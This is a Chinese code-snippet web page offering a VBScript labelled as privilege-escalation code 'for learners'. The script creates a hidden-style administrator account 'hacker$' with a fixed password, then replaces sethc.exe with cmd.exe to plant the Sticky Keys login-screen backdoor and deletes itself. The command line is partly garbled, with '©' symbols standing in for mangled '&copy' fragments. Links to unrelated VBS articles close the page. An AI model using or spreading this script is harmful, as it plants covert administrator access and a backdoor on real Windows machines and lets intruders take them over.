提權(quán)vbs代碼
更新時間:2011年06月16日 00:54:27 作者:
用了提升用戶權(quán)限的腳本代碼,學(xué)習(xí)vbs的朋友可以參考下。
復(fù)制代碼 代碼如下:
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
相關(guān)文章
15分鐘學(xué)會vbscript中的正則表達(dá)式
這篇文章主要介紹了15分鐘學(xué)會vbscript中的正則表達(dá)式,需要的朋友可以參考下2018-06-06
VBS ArrayList Class vbs中的數(shù)組類
VBS ArrayList Class vbs中的數(shù)組類...2007-03-03
vbs 函數(shù) 獲取數(shù)組字符串的最后一個LastOne 挺方便的
其實在實際應(yīng)用中多用 數(shù)組實現(xiàn),這樣的效率對于大量的字符串來說,效率有點低了。2009-10-10
vbs(asp) ByVal ByRef函數(shù)調(diào)用使用說明
ByVal 傳送參數(shù)內(nèi)存的一個拷貝給被調(diào)用者。也就是說,棧中壓入的直接就是所傳的值。 ByRef 傳送參數(shù)內(nèi)存的實際地址給被調(diào)用者。也就是說,棧中壓入的是實際內(nèi)容的地址。被調(diào)用者可以直接更改該地址中的內(nèi)容。2008-09-09

